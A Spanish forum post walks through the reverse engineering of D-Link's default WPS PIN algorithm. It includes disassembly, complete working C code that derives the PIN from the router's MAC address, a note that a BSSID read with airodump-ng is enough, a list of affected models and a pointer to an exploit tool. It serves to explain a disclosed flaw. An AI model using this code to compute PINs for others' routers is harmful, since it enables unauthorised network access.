Desenredando el algoritmo D-Link con el maestro craig heffner (Pagina 1) / Estudio de algoritmos y recopilación de PIN genéricos / Foro Wifi-libre.com

El libre pensamiento para un internet libre

No estas registrado.     

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#1 17-04-2015 18:14:02

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,051

Desenredando el algoritmo D-Link con el maestro craig heffner

El algoritmo de generación del PIN por defecto de numerosos modelos D-Link
  ...siguiendo las aventuras de Craig Heffner; el creador de reaver

algoDlink6.jpg



  Ayer redactaba este tema : Viaje en las entrañas de Belkin para extirpar un nuevo algoritmo PIN
  Una cosa llevando a la otra, publico este hoy.
  Los dos descubrimientos son obra de Craig Heffner y fueron publicado en su sitio web : devttys0.com
  Este algoritmo fue publicado en octubre 2014 en este tema : Reversing D-Link’s WPS Pin Algorithm


  Para encontrar el preciado algoritmo, craig heffner ha desensamblado el firmware de un PA "ac" de d-Link, Una especie de box de diseño moderno, sin antenas exteriores roll  :
    el DIR-810L wireless ac750 dual-band routeralgoDlink1.png

  La primera pista valida que encontró craig fue en el fichero ncc situado en el directorio sbin del firmware. Se tratan de unos binarios que proporcionan funcionalidades a las cuales recuren el servidor http y Upnp (entre otros)
  Y es exactamente en este trozo de código que se encuentro esta primera pista :

algoDlink2.jpg

Call to sub_4D56F8 from getWPSPinCode

  Este trozo en si no lleva la información que buscamos (elementos sobre la cadena empleada para generar el PIN )
Esto si: Tenemos a esta llamada muy "interesante" hacía "getWPSPINcode".
Con, precisamente, la funciónsub_4D56F8 que esta empleada para obtener el PIN por defecto.

  De costumbre el PIN WPS de un dispositivo se programa en la "Non-volatile random-access memory".
Esto nos lleva a pensar que nuestra sub_4D56F8 mandara una petición hacía la NVRAM.
  Examinando lo que ocurre nos damos cuenta que no es así:

algoDlink3.jpg

Este código no pide un PIN, sino que recoge  la dirección mac WAN del dispositivo...
Dirección mac que se divide en dos partes :

  1. La primera mitad de la mac - OUI - que es genérica y permite identificar el fabricante

  2. La segunda porción - el NIC - "numero de identificación" diferente en cada dispositivo

  En el código que sigue podemos apreciar como se usa la parte NIC a través de operaciones bastante enredadas y liosas con el operador XOR y multiplicaciones/divisiones .

algoDlink4.jpg

  Para los amantes de la precisión aritmética  encontrareis aquí el código entero con las operaciones.
  En este punto las operaciones no son complejas. Lo que dificulta el entendimiento del proceso es la forma en que se desaemblan y entender la intención del autor original del codigó
A tituló de ejemplo, miremos lo que sale como un búcle en el firmware desasemblado :

li $v0, 0x38E38E39
multu $a3, $v0
...
mfhi $v0
srl $v0, 1

Se traduce en C directamente y en una solo liña así :

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Expresión que no es nada más que una forma rebuscada de dividir por 9...

v0 = a3 / 9;

big_smile

Y es así durante todo el código de nuestra función generadora del PIN. big_smile
Así que craig empezó a simplificar todo esto para legar a un código en C mucho mas comprensible :

unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;
 
    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;
 
    /*
     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);
 
    /*
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);
 
    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
  
    /*
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     */
     pin = pin % 10000000;
  
    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }
  
    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));
 
    sprintf(buf, "%08d", pin);
    return pin;
}

Se pillan los dígitos de la mac WAN

 * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);

Se convierten los dígitos y se va guardando lo que corresponde a la segunda mitad de la mac WAN (porción "NIC" )

 /*
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);

Para dificultar el entendimiento de este sistema de conversión directa se añade una capa de XOR :

 /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
  
    /*

Luego se hace un "zero-padding", es decir,  rellenar de ceros hasta tener siete dígitos si el valor obtenido es inferior a 1000000.(menos de 7 digitos)
Y  se elemina el digito sobrante en los casos donde el valor anteriormente obtenido es superior a 9999999 (8 digitos)

    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }

Y por fin generamos nuestro checksum y tenemos el PIN completo :

    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));
 
    sprintf(buf, "%08d", pin);
    return pin;
}

En el caso delDIR-810L la dirección WAN es el "bSSID menos uno".
Así que solo tenemos que quitar uno al bsid para genrar el PIN por defcto..
Una simple lectura de los probes en airodump-ng es suficiente para obtener el PIN...

algoDlink5.jpg

El moderno router "ac" no es el único dispositvo dónde se usa este algoritmo y podemos encontrar huelas de su uso desde 2007, cuando empezó el WPS lol
la mayoría de los dispositvos usan el bSSID para generar su PIN
Personalmente he observado que los dispositivos que tienen una mac única usan esta mac (y es a la vez la mac WAN y el BSSID) y los que tienen varias mac usan la mac WAN.
Deduzco que siempre se usa la WAN y que cuando coincide con el bssid no tenemos que quitar uno al bSSID para generar el PIN

En todos casos tenemos a una lista no exhaustiva de dispositivos afectados :

    DIR-810L
    DIR-826L
    DIR-632
    DHP-1320
    DIR-835
    DIR-615 revs: B2, C1, E1, E3
    DIR-657
    DIR-827
    DIR-857
    DIR-451
    DIR-655 revs: A3, A4, B1
    DIR-825 revs: A1, B1
    DIR-651
    DIR-855
    DIR-628
    DGL-4500
    DIR-601 revs: A1, B1
    DIR-836L
    DIR-808L
    DIR-636L
    DAP-1350
    DAP-1555

  Y un codigo libre alojado en Git Hub para explotar la brecha : pingen.py (d-link)

Desconectado

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

Pie de página

Información del usuario

Ultimo usuario registrado: Ike
Usuarios registrados conectados: 1
Invitados conectados: 4

Conectados: Ike

Estadisticas de los foros

Número total de usuarios registrados: 356
Número total de temas: 615
Número total de mensajes: 4,217

Máx. usuarios conectados: 45 el 12-04-2016 12:02:20